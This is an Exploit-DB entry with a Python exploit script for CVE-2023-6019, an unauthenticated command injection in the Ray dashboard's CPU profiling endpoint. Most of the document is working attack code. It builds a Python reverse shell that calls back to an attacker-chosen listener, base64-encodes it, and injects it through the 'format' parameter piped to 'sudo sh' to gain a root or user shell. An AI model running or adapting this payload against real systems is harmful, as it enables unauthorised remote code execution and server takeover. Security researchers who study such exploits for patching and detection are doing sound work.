Exploit-DB #51978
Description: Ray OS v2.6.3 - Command Injection RCE(Unauthorized)
Type: webapps
Platform: python
Date: 2024-04-12
Author: Fire_Wolf

Exploit:
# Exploit Title: Ray OS v2.6.3 - Command Injection RCE(Unauthorized)
# Description:
#  The Ray Project dashboard contains a CPU profiling page, and the format parameter is
#  not validated before being inserted into a system command executed in a shell, allowing
#  for arbitrary command execution. If the system is configured to allow passwordless sudo
#  (a setup some Ray configurations require) this will result in a root shell being returned
#  to the user. If not configured, a user level shell will be returned
# Version: <= 2.6.3
# Date: 2024-4-10
# Exploit Author: Fire_Wolf
# Tested on: Ubuntu 20.04.6 LTS
# Vendor Homepage: https://www.ray.io/
# Software Link: https://github.com/ray-project/ray
# CVE: CVE-2023-6019
# Refer: https://huntr.com/bounties/d0290f3c-b302-4161-89f2-c13bb28b4cfe
# ==========================================================================================

# !usr/bin/python3
# coding=utf-8
import base64
import argparse
import requests
import urllib3

proxies = {"http": "127.0.0.1:8080"}
headers = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0"
}


def check_url(target, port):
    target_url = target + ":" + port
    https = 0
    if 'http' not in target:
        try:
            urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
            test_url = 'http://' + target_url
            response = requests.get(url=test_url, headers=headers, verify=False, timeout=3)
            if response.status_code != 200:
                is_https = 0
                return is_https
        except Exception as e:
            print("ERROR! The Exception is:" + format(e))
    if https == 1:
        return "https://" + target_url
    else:
        return "http://" + target_url


def exp(target,ip,lhost, lport):
    payload = 'python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("' + lhost + '",' + lport + '));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")\''
    print("[*]Payload is: " + payload)
    b64_payload = base64.b64encode(payload.encode())
    print("[*]Base64 encoding payload is: " + b64_payload.decode())
    exp_url = target + '/worker/cpu_profile?pid=3354&ip=' + str(ip) + '&duration=5&native=0&format=`echo ' + b64_payload.decode() + ' |base64$IFS-d|sudo%20sh`'
    # response = requests.get(url=exp_url, headers=headers, verify=False, timeout=3, prxoy=proxiess)
    print(exp_url)
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    response = requests.get(url=exp_url, headers=headers, verify=False)
    if response.status_code == 200:
        print("[-]ERROR: Exploit Failed,please check the payload.")
    else:
        print("[+]Exploit is finished,please check your machine!")


if __name__ == '__main__':
    parser = argparse.ArgumentParser(
        description='''
         ⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀
        ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
        ⡠⠄⡄⡄⡠⡀⣀⡀⢒⠄⡔⡄⢒⠄⢒⠄⣀⡀⣖⡂⡔⡄⢴⠄⣖⡆⠄⠄⡤⡀⡄⡄
        ⠑⠂⠘⠄⠙⠂⠄⠄⠓⠂⠑⠁⠓⠂⠒⠁⠄⠄⠓⠃⠑⠁⠚⠂⠒⠃⠐⠄⠗⠁⠬⠃
        
        
        
                            ⢰⣱⢠⢠⠠⡦⢸⢄⢀⢄⢠⡠⠄⠄⢸⠍⠠⡅⢠⡠⢀⢄⠄⠄⢸⣸⢀⢄⠈⡇⠠⡯⠄
                            ⠘⠘⠈⠚⠄⠓⠘⠘⠈⠊⠘⠄⠄⠁⠘⠄⠐⠓⠘⠄⠈⠓⠠⠤⠘⠙⠈⠊⠐⠓⠄⠃⠄
        ⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀
        ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
        ''',
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument('-t', '--target', type=str, required=True, help='tart ip')
    parser.add_argument('-p', '--port', type=str, default=80, required=False, help='tart host port')
    parser.add_argument('-L', '--lhost', type=str, required=True, help='listening host ip')
    parser.add_argument('-P', '--lport', type=str, default=80, required=False, help='listening port')
    args = parser.parse_args()
    # target = args.target
    ip = args.target
    # port = args.port
    # lhost = args.lhost
    # lport = args.lport
    targeturl = check_url(args.target, args.port)
    print(targeturl)
    print("[*] Checking in url: " + targeturl)
    exp(targeturl, ip, args.lhost, args.lport)